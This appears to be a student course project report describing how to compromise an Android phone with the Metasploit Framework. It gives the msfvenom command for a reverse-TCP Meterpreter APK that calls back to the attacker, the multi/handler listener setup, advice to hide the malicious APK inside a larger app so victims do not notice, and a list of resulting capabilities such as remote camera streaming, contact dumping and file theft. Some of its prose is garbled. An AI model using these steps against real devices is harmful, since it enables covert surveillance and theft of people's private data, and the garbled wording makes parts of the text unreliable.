

Hacking Android using Metasploit Framework

Basit Islam (22-11235)

COMP-421

Section: A

Submitted to:

**Dr. Saad bin Saleem**

**Project Explanation**

# Project Explanation:

The purpose is to hack an android; To hack an Android device, we do it through the Internet by using your Public/External IP in the LHOST and by port forwarding, device by using an apk file with Metasploit framework; this framework sniffs out potential security weaknesses and helps in infiltration testing and IDS signature improvement. It is a Ruby-based open-source framework allows testing via command line alterations or GUI. It can also be extended through coding to act as an add-on that supports multiple languages. The Metasploit framework is a very powerful tool which can be used by cybercriminals as well as ethical hackers to probe systematic vulnerabilities on networks and servers. Because it’s an open-source framework, it can be easily customized and used with most operating systems. Meterpreter is a Metasploit attack payload that provides an interactive shell from which an attacker can explore the target machine and execute code. Meterpreter resides entirely in memory and writes nothing to disk. A Meterpreter shell gives you access to Metasploit modules and other actions not available in the command shell. A shell session opens a standard terminal on the target host, giving you similar functions to a terminal on your OS.

# Method of operation:

To perform this operation msfvenom is used. Then get the IP address of your system. After accessing the IP address, we can generate an apk file.

Type command:

“msfvenom –p android/meterpreter/reverse\_tcp LHOST=192.168.10.4 LPORT=4444 R>Desktop/App.apk”

Where:

1. -p indicates a payload type.
2. android/metepreter/reverse\_tcp specifies a reverse meterpreter shell would come in from a target Android device. reverse\_tcp is a staged payload used to gain meterpreter access to a compromised system.
3. LHOST is your local IP.
4. LPORT is set to be as a listening port.
5. R> is used it to save our Desktop or any other destination.
6. App.apk is the final name of the final output.

After creating the payload, we really want to arrange a listener to Metasploit framework. When the victim downloads and introduces our harmful apk then, at that point, we can undoubtedly get back a meterpreter session on Metasploit. An assailant needs to introduce the apk on the casualty's android device. To do this we propose to be embed the malicious apk file inside a larger application such that system rights requirements on the installation do not seem suspicious or rather covertly flies under the victim’s radar.

Then we need to open MSF console by typing the command “msfconsole”.

1. use the exploit/multi/handler.
2. set payload to “android/metepreter/reverse\_tcp”.
3. set LHOST to “IP-address”.
4. set LPORT to “4444”.
5. type “exploit” and enter.

After this is done, the meterpreter session would be opened immediately at the attacking side and thus we, the attacker can exploit an arsenal of commands to get a result on and from the android device.

**Outcome:**

Some of the tasks achieved are:

* 1. Live streaming using back camera remotely.
  2. Sending messages remotely from the android device.
  3. Dumping contacts.
  4. Making calls from the android device.
  5. Screen share from the device.
  6. Show list of all installed apps on the device.
  7. Uninstallation of any app on the device.
  8. You can easily download or upload any file or information.
  9. Getting the complete system information.
  10. Check if device is rooted or not.
  11. Etc. a complete command list is shown on console when given the help command.

# We have successfully hacked android smartphone and is demonstrated in the demo video.